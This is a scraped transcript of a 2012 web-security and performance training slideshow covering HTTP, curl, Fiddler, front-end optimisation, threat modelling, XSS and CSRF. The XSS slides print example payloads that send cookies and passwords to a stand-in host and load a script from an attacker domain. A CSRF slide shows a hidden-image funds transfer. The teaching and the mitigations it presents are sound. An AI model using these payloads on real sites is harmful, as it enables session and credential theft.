Web securities
1 / 202

Web Securities - PowerPoint PPT Presentation

  • Uploaded on

Web Securities. Bingoo 2012-05-13. 无线网络 TP_LINK_42AC76 密码: linkage123. Who am I ?. 黄进兵 bingoo huang 程序 猿 ? 码农 ?. Who are you?. 轻松 互动 小考. 安全事故回顾. 缴费充值密码暴力破解 缴费充值折扣侵入 商 城 2.0 全 量商品信息泄露 商 城 2.0 全量用户信息泄露 …. O utline. AM Http Basics Tools Performance PM Attacks

I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
Download Presentation

PowerPoint Slideshow about ' Web Securities' - thina

An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.

- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
Web securities
Web Securities

Bingoo 2012-05-13

Tp link 42ac76 linkage123

Who am i
Who am I ?

  • 黄进兵 bingoohuang

  • 程序猿? 码农?


  • 缴费充值密码暴力破解

  • 缴费充值折扣侵入

  • 商城2.0全量商品信息泄露

  • 商城2.0全量用户信息泄露

O utline

  • AM

    • Http Basics

    • Tools

    • Performance

  • PM

    • Attacks

    • Encoding & Encryption

Hyper text transfer protocol http
Hyper Text Transfer Protocol (HTTP)

Objective: Understand HTTP (the protocol that makes the Internet possible)


RFC 1945(HTTP 1.0)

RFC 2616(HTTP1.1)

2012-03-12: draft -19 of the revised HTTP/1.1 specifications

Bit of history
Bit of History

  • Mar’89 – T.B. Lee presents “Information Management: A Proposal”

  • Aug’91 – Announces WWW

  • Mar’93 – Mosaic announced

  • Mar’94 – Netscape found

  • Oct’94 – W3C found by T.B. Lee

Osi tcp ip protocol suite
OSI & TCP/IP protocol suite

  • OSI is a reference model

Osi tcp ip protocol suite1
OSI & TCP/IP protocol suite…

  • TCP/IP protocol suite is implementation of OSI

The communication
The Communication














200 OK


GET /js.js

GET /pic.jpg

200 OK

More content…

HTTP: Sure!

The communication1
The Communication

  • …. or simply

Http usage
HTTP Usage

  • HTTP is the protocol that supports communication between web browsers and web servers.

  • A “Web Server” is a HTTP server

  • Most clients/servers today speak version 1.1, but 1.0 is also in use.

From the rfc
From the RFC

“HTTP is an application-level protocol with the lightness and speed necessary for distributed, hypermedia information systems.”

Accessing resources over the web
Accessing Resources over the Web

  • <protocol>://<server>/<path>

Defines the address (Uniform Resource Locator)

Communication Protocol between the client and the server

Hypertext transport protocol http characteristics
Hypertext Transport Protocol (HTTP) characteristics

  • Request-response mechanism:

    • Transaction is initiated by a client sending a request to server

    • Server generates a response

  • Resource Identification

    • Each HTTP request includes a URI (Uniform Resource Identifier)

  • Statelessness

    • The server does not maintain any information about the transaction

  • Meta data support

    • Metadata about information can be exchanged in the messages

Http request format
HTTP Request Format

Specifies request method

Request Line

GET /index.html HTTP/1.0

Specifies resource via URI

& meta data

Header Lines

Host: www.content-networking.com


User-Agent: Mozilla/5.0 (en) (WINNT; U)

Accept-Language: en-us

Carriage Return/Line Feed

Message Body


(Message Payload)

Request methods
Request Methods

  • GET

    • whatever information is identified by the Reuest-URI

    • Can Get static content and data produced by a program

  • POST

    • Submit information to Web Server

    • Eg: posting to blog, submission of user form…

    • Information is included in message body

    • The actual function depends on request URI





Accept Language: en-us

Content Length: 14

98490 55266

Looks up phone book for the number

Could have been also achieved by Get

But in that case number would have been in the Resource URL

Which would have been stored in the log


  • You know GET

  • Retrieval of information

  • Transfers a representation of a resource from the server to the client

  • Safe & idempotent

GET /user/ramsey HTTP/1.1

Host: atom.example.org

HTTP/1.1 200 OK

Date: Tue, 22 Sep 2009 17:28:14 GMT

Server: Apache/2.2.11 (Unix) DAV/2 PHP/5.3.0

X-Powered-By: PHP/5.3.0

Content-Length: 594

Content-Type: application/atom+xml;type=entry

<?xml version="1.0" encoding="utf-8"?>

<entry xmlns="http://www.w3.org/2005/Atom"





Request methods contd ii
Request Methods…contd (ii)

  • HEAD

    • Servers response does not include message body

    • Useful for getting resource metadata without transferring the resource

    • Also useful for debugging , checking for validity, accessibility and modification

  • PUT

    • Requests a server store the enclosed data under the supplied Request URL.

    • Creates the resource if it does not create

    • Not useful for web publishing (FTP is preferred for security purposes)


    • Removes the Web object

    • Needs to be carefully used for security reasons

Request methods contd iii
Request Methods…contd (iii)

  • TRACE method

    • Invokes a remote appliction layer feedback of the request message

    • Useful for testing what is being received at the server

    • Also possible to forward to intermediaries for debugging purposes


    • Requests information about communication options available to server

Safe methods
Safe methods

  • GET & HEAD should not take action other than retrieval

  • These are considered safe

  • Allows agents to represent POST, PUT, &

  • DELETE in a special way


  • Side-effects of N > 0 identical requests is the same as for a single request

  • GET, HEAD, PUT and DELETE share this property

  • OPTIONS and TRACE are inherently idempotent

Http response format
HTTP Response Format

Status line with result code and phrase

Status line

HTTP/1.0 200 OK

Specifies server & resource meta data

Header Lines


Server: Apache/1.3.12 (Unix)

Last-Modified: (date)

Content Type: text/html






Carriage Return/Line Feed

blank line

Message Body



(Message Payload)

Result code and phrase
Result Code and Phrase

  • 1xx: Informational – Not Done Yet

  • 2xx: Success – You win

  • 3xx:Redirection-You lose but try again

  • 4xx:Client Error – You lose, your fault

  • 5xx:Server Error – You lose, my bad

200 OK

204 No Content

300 Mutiple Choices

301 Moved Permanently

302 Moved Temporarily

304 Not Modified

400 Bad Request

401 Unauthorized

404 Not Found

500 Internal Server Error

Try it with telnet
Try it with telnet

> telnet www.cs.rpi.edu 80

GET / HTTP/1.0

HTTP/1.0 200 OK

Server: Apache



Blank Line

(end of headers)


Try it with telnet 1 1
Try it with telnet 1.1

> telnet www.cs.rpi.edu 80

GET / HTTP/1.1

Host: www.cs.rpi.edu

HTTP/1.0 200 OK

Server: Apache



Netprog - HTTP

Improvements in http 1 1
Improvements in HTTP/1.1

  • Persistent connections

    • Keeps the connection open after the server response

    • Connection can be closed by either client or server

  • Request Pipelining

    • Allows a client to send several requests without waiting for a response

    • Server responds in the same order

  • Chunked Encoding

    • Allows sender to break a message into arbitrary sized chunks

    • Useful for dynamically created response messages

Handling statelessness
Handling Statelessness

  • HTTP is a stateless protocol

    • i.e., server’s got a bad memory

  • Cookies to rescue

  • Cookies:

    • are text files stored by client browser

    • maintain session by storing information

    • are non-executable

  • Cookie attributes:

    • name=value

    • expires=value

    • domain=value

    • path=value

    • Secure

    • HttpOnly--not a part of spec


  • HTTP is stateless protocol

  • Cookies manage state maintenance by shifting the burden to client

  • Cookies are transmitted in clear text (security issue)



Usual HTTP Request

1st client request

Client does not interpret the cookie string

Server is presented with the previously returned state information

Usual HTTP Response, including header line Set-cookie: <cookie>

Usual HTTP Request, including header line Set-cookie: <cookie>

2nd client request

Usual HTTP Response

User authentication
User Authentication

  • Users browser information remembers credentials and includes them in headers for subsequent requests

  • Browser typically deletes stored authentication credentials once browser is closed

  • HTTP allows various authentication mechanisms



Usual HTTP Request

HTTP Response with code 401, including header line www-authenticate: <string1>

1st client request

User inputs credentials

Same HTTP Request, including header line Authorization: <string2>

Usual HTTP Response

Usual HTTP Request, including header line Authorization: <string2>

2ndclient request

Usual HTTP Response


  • HTTP is insecure!

    • Subject to man-in-the-middle and eavesdropping attacks

  • HTTP over TLS or SSL

  • Uses port 443 by default

  • Based on Public key cryptography

Ssl secure web communications
SSL: Secure Web Communications

  • SSL protocol is application independent

  • Operates between application layer and transport layer

  • Application protocols such as HTTP sit on top of it and TCP/IP beneath it

  • SSL provides:

How ssl works
How SSL Works

  • The Public Key is a random number generated in pair (the other part of the pair is the private key known only to the server)

  • Data encrypted by the public key can be decrypted only by using the private key



HTTPS Request

SSL Certificate with the Public Key of the Server

Generates a random number or session key which can be encrypted using the server public key

Decrypted using the Server Private Key

Sends Session Key encrypted with the Server Public Key

Response/Request encrypted with session key

Ensuring ssl version compatibility
Ensuring SSL version compatibility

  • There are different versions of SSL depending on the encryption algorithm used.

  • The browser sends the versions it supports

  • The server sends the certificate. The certificate includes:

    • The identity of the organization to which the web server belongs

    • The certificate’s expiration date

    • The public key

    • The identity of the organization that issued the certificate, known as a certification authority (CA)

  • Browsers store and recognize certificates issued by a number of well-known CAs.

Http problems
HTTP Problems

  • Single request per connection.

  • Exclusively client-initiated requests.

  • Uncompressed request and response headers.

  • Redundant headers.

  • Optional data compression.

Source: http://dev.chromium.org/spdy/spdy-whitepaper

Spdy pronounced speedy
SPDY (pronounced "SPeeDY")

  • Allow many concurrent HTTP requests to run across a single TCP session.

  • Reduce the bandwidth currently used by HTTP by compressing headers and eliminating unnecessary headers.

  • Make SSL the underlying transport protocol, for better security and compatibility with existing network infrastructure.

  • Enable the server to initiate communications with the client and push data to the client whenever possible.


  • User + password Authentication

    • Basic Digest NTLM Negotiate Kerberos

  • Proxy

  • Resume

  • Cookies

  • Proxy tunneling

  • SSL certs

  • HTTP range requests

  • UA spoofing

  • Wireshark

  • gzip/deflate

The real curl
The real cURL



  • SCP



  • LDAP

  • DICT

  • POP

  • SMTP

  • RTMP

  • RTSP


  • Get requests are simple:

    • $ curl “google.com/search?q=ilugc”

    • $ curl --user-agent "Mozilla/5.0 [en] (X11; U; Linux 2.6.28 i386)" “http://google.com/search?q=ilugc”

  • Post requests are also simple with curl. ;-)

    • $ curl --data-urlencode input=value http://example.com/cgi

  • Proxy

    • $curl --proxy-user proxyuser:proxypasswordcurl.haxx.se

Introducing Fiddler

Web Debugging for Performance and Operations


Fiddler for Performance

  • Measure / analyze / simulate the end-user experience.

    • Measure request size, page weight

    • Analyze caching, compression, page composition

    • Simulate low-speed / high-latency connections

Fiddler plugins
Fiddler 的必備 Plugins

  • JavaScript Formatter

  • JSON Viewer

  • Gallery

Tamper Data 11.0.1 byAdam JudsonUse tamperdata to view and modify HTTP/HTTPS headers and post parameters

High performance web pages
High Performance Web Pages

The sluggish web
The sluggish Web

  • We’re getting used to the web as a tool for our day-to-day tasks

  • We all want a nice user experience

  • We won’t tolerate slow pages (we have options)

  • 500 ms slower = 20% drop in traffic (Google)

  • 100 ms slower = 1% drop in sales (Amazon)

The importance of front end performance
The Importance of Front-End Performance



Even here, front-end=88%

Focus on the front end
Focus on the front-end

  • 80-90% of the time

  • Easier than the back-end

  • Proven to work

List of 14 best practices updated
List of 14 best practices (updated)

  • Make Fewer HTTP Requests

  • Use a Content Delivery Network

  • Add Expires header (or Cache-control)

  • Gzip Components

  • Put CSS at the Top

  • Move Scripts to the Bottom (inline too)

  • Avoid CSS Expressions

  • Make JavaScript and CSS External

  • Reduce DNS Lookups

  • Minify JavaScript and CSS (inline too)

  • Avoid Redirects

  • Remove Duplicate Scripts

  • Configure ETags

  • Make AJAX Cacheable



















  • Yahoo!’s performance lint tool

  • Extension to the Firebug extension to Firefox

  • Checks for compliance with the best practices

  • Grades (offends)


The life of page 2 0
The Life of Page 2.0

event handlers, components, XHRs

fetching components


user interaction, XHRs


page settles

HTML sent












User perceived “onload” happens somewhere here

After yslow a
After YSlow "A"?


  • Flush the buffer early

  • Use GET for AJAX requests

  • Post-load components

  • Preload components

  • Reduce the number of DOM elements

  • Split components across domains

  • Minimize the number of iframes

  • No 404s

  • Reduce cookie size

  • Use cookie-free domains for components

  • Minimize DOM access

  • Develop smart event handlers

  • Choose <link> over @import

  • Avoid filters

  • Optimize images

  • Optimize CSS sprites

  • Don't scale images in HTML

  • Make favicon.ico small and cacheable

  • Keep components under 25K

  • Pack components into a multipart document




















Part i review of 14 best practices updated
Part IReview of 14 best practices (updated)

Make fewer http requests
Make Fewer HTTP Requests

  • Less components = fast page

  • HTTP Request overhead

  • Combine scripts, combine stylesheets, combine images into CSS sprites

Css sprites
CSS Sprites

One request instead of ten!

background-position: -0px -0px;

background-position: -20px -0px;

background-position: -40px -0px;

background-position: -60px -0px;

background-position: -80px -0px;

background-position: -100px -0px;

background-position: -120px -0px;

background-position: -140px -0px;

background-position: -160px -0px;

background-position: -180px -0px;




Use a content delivery network
Use a Content Delivery Network

  • For static components

  • Content closer to your users

  • Akamai, Amazon S3

Add expires header or cache control
Add Expires header (or Cache-control)

  • For static components

    • “Never expire” policy, far future Expires header

    • Once a component is served, the browser never asks for it again

    • When you need to change a component, rename it

    • Apache example:

      ExpiresActive On ExpiresDefault "modification plus 10 years"

  • For dynamic components

    • Use Cache-control

    • Help the browser send If-Modified-Since

    • Writeup on YUI blog/YDN coming up, stay tuned

Gzip components
Gzip Components

  • You send zipped content over the wire, the browser unpacks it

  • Modern browsers understand compressed content

  • Search engine spiders do too

  • Request header

    Accept-Encoding: gzip,deflate

  • Response header

    Content-Encoding: gzip

  • All text components should be sent gzipped: html (php), js, css, xml, txt…

Put css at the top
Put CSS at the Top

  • Firefox and IE will not render anything before the last piece of CSS arrives over the wire

  • Even CSS that is not needed such as @media print

  • Place the stylesheets as early as possible in the document


    <title>My page</title>

    <link href=“styles.css” …/>



    <!-- content -->

Move scripts to the bottom inline too
Move Scripts to the Bottom (inline too)

  • Scripts block downloads

  • The browser’s logic: since this script can do location.href or document.write at any time, why download possibly useless components

  • Move scripts to the bottom to remove the download block

  • Inline scripts too

    <!-- content -->

    <script src=“script.js” …/>



Avoid css expressions
Avoid CSS Expressions

  • CSS expression:

    #content {

    position: absolute;

    left: expression(document.body.offsetWidth+‘px’);


  • IE-only way to have JavaScript in CSS

  • They tend to get executed more often than you planned, think onmousemove often

  • Smart expressions overwrite themselves

Make javascript and css external
Make JavaScript and CSS External

  • Helps with caching, “never expire” policy

  • Share with other pages

  • But this is two more HTTP requests

  • Homepages might consider inlining

  • yahoo.com

Reduce dns lookups
Reduce DNS Lookups

  • Browser needs to map domain name to an IP address

  • DNS lookups take time

  • 2-4 domains per page

Minify javascript and css inline too
Minify JavaScript and CSS (inline too)

  • Minify, but still gzip

  • JSMin (written in JavaScript, but has a PHP port)

  • YUI compressor – minifies CSS too

  • Inline styles and scripts should also be minified

Minify before
Minify: before


* The dom module provides helper methods for

* manipulating Dom elements.

* @module dom



(function() {

var Y = YAHOO.util, // internal shorthand

getStyle, // for load time browser branching

setStyle, // ditto

propertyCache = {}, // for faster hyphen converts

reClassNameCache = {}, // cache regexes for className

document = window.document; // cache for faster lookups

YAHOO.env._id_counter = YAHOO.env._id_counter || 0;

Minify after
Minify: after

(function(){var B=YAHOO.util,K,I,J={},F={},M=window.document;YAHOO.env._id_counter=YAHOO.env._id_counter||0;

Avoid redirects
Avoid Redirects

  • A wasted HTTP request

  • Causes a restart

Remove duplicate scripts
Remove Duplicate Scripts

  • Duh!

  • IE might decide to download them again

Configure etags
Configure ETags

  • ETags are meant to help with caching

  • A component served from server A has a different ETag than the same component served from B

  • Configure ETags not to include inode

  • … or just remove them and implement “never expire” policy

    Apache default FileETag INode MTime Size

    Change to FileETag None

Make ajax cacheable
Make AJAX Cacheable

  • Content returned from XMLHttpRequests is like any other component

  • Should be gzipped

  • Could be cached

  • Cache-control: max-age=?

Part ii after yslow a 20 more best practices
Part IIAfter YSlow “A”:20 more best practices

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Flush the buffer early
Flush the buffer early

  • Let the browser start fetching components while your backend is busy

  • PHP has the function flush()

  • Best for busy backends / light frontends

    ... <!-- css, js -->


    <?php flush(); ?>


    ... <!-- content -->

  • Case Study: Yahoo! Search

Use get for ajax requests
Use GET for AJAX requests

  • GET is for retrieving data

  • POST is a two-step process (send headers, send data)

  • GET request is one TCP packet (unless you have a lot of cookies)

  • Max URL length 2K (because of IE)

  • POST without actually posting data is like GET

  • Yahoo! Mail Research

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile1
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Post load components
Post-load components

  • Ask yourself: what's absolutely required in order to render the page initially?

  • The rest can wait (drag and drop, animations, hidden content, images below the fold)

  • JavaScript is ideal candidate for splitting

  • YUI Image Loader

  • YUI Get Utility

Post load components1
Post-load components

  • Case study: yahoo.com

  • onload.js and onload.css

  • Progressive enhancement

Preload components
Preload components


  • Items you'll need in the future

  • Unconditional preload (google.com loads a sprite onload)

  • Conditional preload (search.yahoo.com after you type in the input box)

  • Anticipated preload – preload in advance before launching a redesign

Preload components contd
Preload components (contd.)

  • Unconditional preload example

Preload components contd1
Preload components (contd.)

  • Conditional preload example – search.yahoo.com

  • When you start typing the page can safely assume you’ll hit the search results page

  • Time to preload

Reduce the number of dom elements
Reduce the number of DOM elements

  • World's fastest page? about:blank!

  • A complex page means more bytes to download

  • It also means slower DOM access in JavaScript

  • It also may mean using semantically incorrect markup (like nested tables or abusing <div>s)

  • Use semantic markup

  • Use YUI's reset.css, fonts.css, grids.css

  • Easy to test, just type in Firebug’s console:


  • yahoo.com is a busy page and still under 700 elements (HTML tags)

Split components across domains
Split components across domains

  • Maximize parallel downloads

  • But not more than 2-4 domains, because of the DNS lookup penalty

  • www.example.org – HTML content

  • static.example.org – Static components

  • Future: IE8 will allow 6 requests per domain

Split components contd
Split components (contd.)

2 components in parallel 8 components in parallel

Minimize the number of iframes
Minimize the number of iframes

  • <iframe> pros:

    • Can help with slow third-party content like badges and ads

    • Security sandbox

    • You can download scripts in parallel

  • <iframe> cons:

    • They have a cost even if blank

    • They block page onload

    • Non-semantic

No 404s
No 404s

  • 404 Not Found

  • Useless downloads

  • Some sites have helpful 404s “Did you mean X?”…

  • … which uses server resources (DB, etc)

  • When an external JavaScript is a 404, the browser will still try to parse it and find something usable in it

No 404s contd
No 404s (contd.)

The second component is a 404 JavaScript and it blocks the rest of the page

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile2
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Reduce cookie size
Reduce cookie size

  • Eliminate unnecessary cookies

  • Keep cookie sizes as low as possible to minimize the impact on the user response time

  • Be mindful of setting cookies at the appropriate domain level so other sub-domains are not affected

  • Set an Expires date appropriately. An earlier Expires date or none removes the cookie sooner, improving the user response time

Cookie free hosting for components
Cookie-free hosting for components

  • Option 1: Separate subdomain (static.example.org)

  • Option 2: A new TLD (e.g. yimg.com, ytimg.com, images-amazon.com)

  • Proxies might refuse to cache

  • www.www-yes.org vs www-no.org?

  • no-www leaves you no choice but to write cookies to *.example.org

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile3
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Minimize dom access
Minimize DOM access

  • DOM access is the slowest

  • Cache

  • Update nodes “offline” and then add them to the tree

  • Avoid fixing layout with JavaScript

Develop smart event handlers
Develop smart event handlers

  • Don't wait for onload, use DOMContentLoaded

  • Events bubble up, so use delegation (attach listeners to outer elements)

  • Clean up to prevent IE memory leaks

  • Careful with onresize

  • Use YUI Event utility

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile4
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Choose link over @import
Choose <link> over @import

  • CSS should be at the top

  • In IE @import is the same as putting <link> at the bottom

Avoid filters
Avoid filters

  • IE proprietary

  • AlphaImageLoader

  • Fixes an IE6 problem with semi-transparent PNGs, IE7 is fine

  • Blocks rendering, freezes the browser

  • Increased memory consumption

  • Per element, not per image!

    Best: Avoid completely, use gracefully degrading PNG8

    Fallback: use underscore hack _filter not to penalize IE7+ users

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile5
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Optimize images
Optimize images

  • GIF - don't use a bigger palette than you need

  • Use PNGs instead of GIFs

  • “All we are saying is: Give PiNG a Chance!"

  • pngcrush tool (or optipng, or pngoptimizer)

  • Removing gamma chunks also helps with cross-browser colors

  • Strip comments

  • jpegtran - lossless JPEG operations, can be used to optimize and remove comments

Optimize images contd
Optimize images (contd.)

You can write a simple tool that walks your image directories before site launch and does the following:

  • Convert all GIFs to PNGs (and check if there’s a saving)> convert image.gif image.png

  • Crush all PNGs> pngcrush image.png –rem alla –reduce result.png

  • Strip comments from JPEGs > jpegtran -copy none -optimize -perfect src.jpg dest.jpg

Optimize images contd1
Optimize images (contd.)

  • You’d be surprised how many sites, from small to huge, could optimize the download size

  • 200K of useless image information sent over the wire for a single page?!

Optimize css sprites
Optimize CSS sprites

  • Choose horizontal over vertical when possible

  • Combine similar colors

  • Keep color count low (<256) to fit in a PNG8

  • “Be mobile-friendly” – don’t leave big gaps

    • Filesize doesn’t increase much, but the image needs to be decompressed into a pixel map

    • 100x100 is 10000 pixels

    • 1000x1000 is 1 Million pixels

    • Case study: Yahoo! Mail Classic

Don t scale images in html
Don't scale images in HTML

  • Downloads unnecessary bytes

  • If you need

    <img width="100" height="100" src="mycat.jpg" />

    then have mycat.jpg 100x100 not 500x500

Make favicon ico small and cacheable
Make favicon.ico small and cacheable

  • www.example.org/favicon.ico

  • Necessary evil:

    • The browser will request it

    • Better not respond with a 404

    • Cookies are sent

    • Cannot be on CDN

    • Interferes with the download sequence

  • Make it small (<= 1K)

  • Animated favicons are not cool

  • Set Expires header

  • Tools: imagemagick, png2ico

  • Case study: Yahoo! Search - favicon.ico is 9% of all page views!

Bonus crossdomain xml
Bonus: crossdomain.xml

  • Cross domain policy for Flash/Flex

  • Sits in the root: example.org/crossdomain.xml


    <allow-access-from domain="*.yahoo.com" secure="false"/>


  • Set Expires header

  • gzip

  • … and secure while at it, don’t do:

    <allow-access-from domain="*“ />

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile6
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile

Keep components under 25k
Keep components under 25K

  • Because iPhone won’t cache them

  • Uncompressed size under 25Kb

  • Minify HTML in addition to JS and CSS

Pack components into a multipart document
Pack components into a multipart document

  • For UAs that support it (iPhone doesn’t)

  • Like an email with attachments

Part ii tag server tag content tag cookie tag javascript tag css tag images tag mobile7
Part IItag: servertag: contenttag: cookietag:javascripttag:csstag:imagestag:mobile


  • YSlow (http://developer.yahoo.com/yslow/)

  • Fiddler (http://www.fiddlertool.com/fiddler/)

  • IBM Page Detailer (http://www.alphaworks.ibm.com/tech/pagedetailer)

  • HTTPWatch (http://www.httpwatch.com/)

  • AOL Pagetest (http://pagetest.wiki.sourceforge.net/)

  • Firebug Net Panel (http://www.getfirebug.com/)

Ibm page detailer
IBM Page Detailer

  • Methodology

    • Packet Sniffer

  • Competitive Advantage

    • Most accurate

    • Provides detailed data

    • Works for any browser

    • Best waterfall view

  • Drawbacks

    • Requires a download

    • 90 day free trial

    • Runs only on Windows

    • Misses cached components

Firebug net panel
Firebug NET Panel

  • Methodology

    • Packet Sniffer

  • Competitive Advantage

    • Integrated with Firebug

    • Displays waterfall view

    • Provides HTTP header info

  • Drawbacks

    • Runs only in Firefox

    • Inaccurate waterfall view

      • No render time

      • No parse time

      • No redirects

      • No DNS lookups

    • Misses cached components

Urls exceptional performance
URLs – Exceptional Performance

YUI blog


YDN (Yahoo Developer Network)


YDN blog


Mailing list (Yahoo! Group)




Urls contd
URLs (contd.)

  • "When the Cookie Crumbles" Tenni Theurer, Steve Souders


  • "Maximizing Parallel Downloads in the Carpool Lane", Tenni Theurer, Patty Chi


  • YUI Image Loader (http://developer.yahoo.com/yui/imageloader/)

  • YUI Get (http://developer.yahoo.com/yui/get/)

  • YUI Compressor (http://developer.yahoo.com/yui/compressor/ contains a Java port of an internal PHP CSS minifier tool written by Isaac Schlueter, http://foohack.com/)

  • JSMin (http://www.crockford.com/javascript/jsmin.html)

  • "High-performance AJAX applications" Julien Lecompte http://yuiblog.com/blog/2007/12/20/video-lecomte/

  • Yahoo! engineer Michael J. Radwin talk back in 2004

















Take coffee

  • Focus on the front-end

  • Harvest the low hanging fruit

  • Be an advocate for your users

  • Start early

恶意的服务端(伪造站点, 网络钓鱼, ...)

恶意的客户端(状态控制, 注入, ...)

中间人攻击(例如, DNS劫持)

窃听Eavesdropping(例如: Firesheep)

General principals
General principals

  • How do think about application security


  • Trust no one

  • Anything that is not completely under your control should not be trusted

  • “Trust, but verified.”

Trust boundaries





Trust boundaries1

  • User interaction includes:

    • Post, get, put, headers, cookies, ajax, etc.

    • Anything that comes in across the trust boundary.

  • Server interaction includes:

    • Filesystem, LDAP, logs, other processes.

    • Anything outside your codebase.

Data handling

  • Bringing data across a trust boundary means both making sure you can trust data coming in and properly encoding the data going out.

  • The two primary techniques for building trust are validation and sanitization.

  • In both techniques, whitelists are preferable to blacklists.

Whitelists v blacklists

  •  A whitelist is simply a list of something you do want or expect.

  • A blacklist is a list of things you specifically do not want.

  • Blacklists are never comprehensive – an attacker will always think something you didn’t. This is why we whitelist.

Data validation

  • Data validation is the act of determine whether or not input conforms to your expectations.

  • For example, if you are expecting a US phone number, you are expecting a ten digit number that begins with 2-9*.

  • Validation doesn’t change the data – it’s a boolean conformity test. *It’s actually more complex than this.

Data sanitization

  •  Data sanitization modifies the input so that it matches the desired criteria.

  • Following the same example, a phone number might be entered as:


  • If the number is sanitized with a whitelist that requires ten digits, it would become:


Principal of least privilege

  •  Each user should have permissions that allow them to accomplish a given task, but no more.

  • Evaluate your system and come up with role-based scenarios. What are the common tasks? How are they grouped into user roles?

  • A user may have more than one role, but should never have more access than they need.

Defense in depth

  •  Security is like an onion …

  • Always implement the strongest mitigations you can think of. This is your front line.

  • Don’t stop there – build additional layers as fall-back positions. This is defense in depth.

  • Make sure that detection is one of those layers. Design a good logging system and catch an intruder before he makes it past the second layer.

Challenge your assumptions

  •  Don’t assume that the attacker is using your client software – the user is always untrusted.

  • Don’t assume that the attacker is following your page flow – the front door may not be the only way in.

  • Don’t assume that network defenses solve denial of service. Design application-level defenses.

  • If something needs to be “true” in order for the software to work, first validate it and then enforce it.

Think evil

  • Bruce Schneier calls this the “Security Mindset” (blog link).

  • Usability can be the enemy of security. When doing UX design, always ask yourself how the feature can be misused.

  • It’s difficult to do this systematically.

Threat modeling

  • Threat modeling is systematic.

  • This is a design tool.

    • Start with a data flow diagram.

    • Add your trust boundaries – all of them.

    • Every time you cross a trust boundary, look at both of the connected components and enumerate the threats.

    • Design mitigations for each of those threats.

    • That’s it – the rest is implementation. Just make sure you follow through on the mitigations.

Stride framework

  •  Many threat modeling frameworks exist – Dread, Trike, CVSS, Octave, AS/NZS 4360.

  • My preference is the STRIDE taxonomy:

    • Spoofing 欺骗

    • Tampering 篡改

    • Repudiation 否认

    • Information Disclosure 信息泄露

    • Denial of Service 拒绝服务

    • Elevation of Privilege 权限提升

  • Stride is specifically aimed at developers, not risk managers.

Three principles
Three Principles

  • Defense in depth

    • Redundant safeguards are valuable.

  • Least privilege

    • Grant as little freedom as possible.

  • Least complicated

    • Complexity breeds mistakes.

Two practices
Two Practices

  • Filter input.

    • Ensure data coming in is valid.

  • Escape output.

    • Ensure data going out is not misinterpreted.

Filter input escape output
Filter input. Escape output.




Cross site scripting
Cross-Site Scripting

  • Cross site scripting is an attack against your users. A successful attack will allow the attacker to run arbitrary Javascript in a user’s browser

  • The trouble with XSS is that the larger the application, the more paths data can travel through it. You have to nail all of them.

Cross site scripting1
Cross-Site Scripting









Reflected xss

  • Data from a user is accepted by a page, processed, and returned to the user.

  • This type of vulnerability is often detectable by automated tools making it the most common.

  • It’s scope is limited to the user that submits the malicious request (often via phishing or other social engineering attacks).

Reflected xss1

  • This request simply tells me hello: http://example.com/hello.cgi?name=Don

    • This isn’t as friendly:

    http://example.com/hello.cgi?name=<SCRIPT SRC=http://hackerco.de/evil.js></SCRIPT>

    • This is the exact same thing (unicode): http://example.com/hello.cgi?name=%u003c %u0053%u0043%u0052%u0049%u0050%u0054%u0020%u0053%u0 052%u0043%u003d%u0068%u0074%u0074%u0070%u003a%u002f %u002f%u0068%u0061%u0063%u006b %u0065%u0072%u0063%u006f%u002e%u0064%u0065%u002f %u0065%u0076%u0069%u006c%u002e%u006a%u0073%u003e %u003c%u002f %u0053%u0043%u0052%u0049%u0050%u0054%u003e

Steal cookies
Steal Cookies

<script>document.location ='http://host/steal.php?cookies=' +encodeURI(document.cookie);</script>

Steal passwords
Steal Passwords

<script>document.forms[0].action = 'http://host/steal.php';</script>

<form name="steal" action="http://host/steal.php"><input type="text" name="username"style="display: none" /><input type="password" name="password"style="display: none" /><input type="image"src="image.png" /></form>

Stop it
Stop It!

  • FIEO.

  • Use valid HTML.

    • http://validator.w3.org/

  • Use existing solutions.

    • PHP developers, use htmlentities() or htmlspecialchars().

    • Make sure you indicate the character encoding!

  • Need to allow HTML?

    • Use HTML Purifier, even if you’re not using PHP: http://htmlpurifier.org/

Cross site request forgeries
Cross-Site Request Forgeries








  • Cross Site Request Forgery (CSRF) occurs when the browser submits a request on an attacker’s behalf.

  • Consider this:

    http://example.com/transfer.cgi? dest=1&amount=1

  • If the user has an active, authenticated session, the attacker can transfer funds to any account.


  •  Yes, this does require a little bit of social engineering – the attacker has to get a user to click on a link, right?

    <imgsrc = “http://example.com/ transfer.cgi?dest=1&amount=1” width=“1” height=“1” alt=“”>

  • Most users would never notice that something happened. Would you?

Csrf stop it
CSRF Stop It!

  • 办法1:检查Http请求头Refer部分

    • 只有来自合法网站,才被允许

    • 问题是不是所有浏览器都提交Refer部分。而且Refer可以被屏蔽或者伪造。

  • 办法2:要求用户输入口令

    • 例如:要修改口令时,必须输入当前口令

    • 问题是,修改口令就不方便了

  • 办法3:授权令牌

    • 在隐藏域中包含一个服务端签名的值

    • 问题是:攻击者可以重用这个令牌

    • 必须绑定到浏览器中(例如cookie)


<form action = “/transfer.cgi” method = “post”> <input type=“hidden” name=“CSRFToken” value=“GUID or something similar”> <input type=“text” name=“dest” value=“1”> <input type=“text” name=“amount” value =“1”> </form>


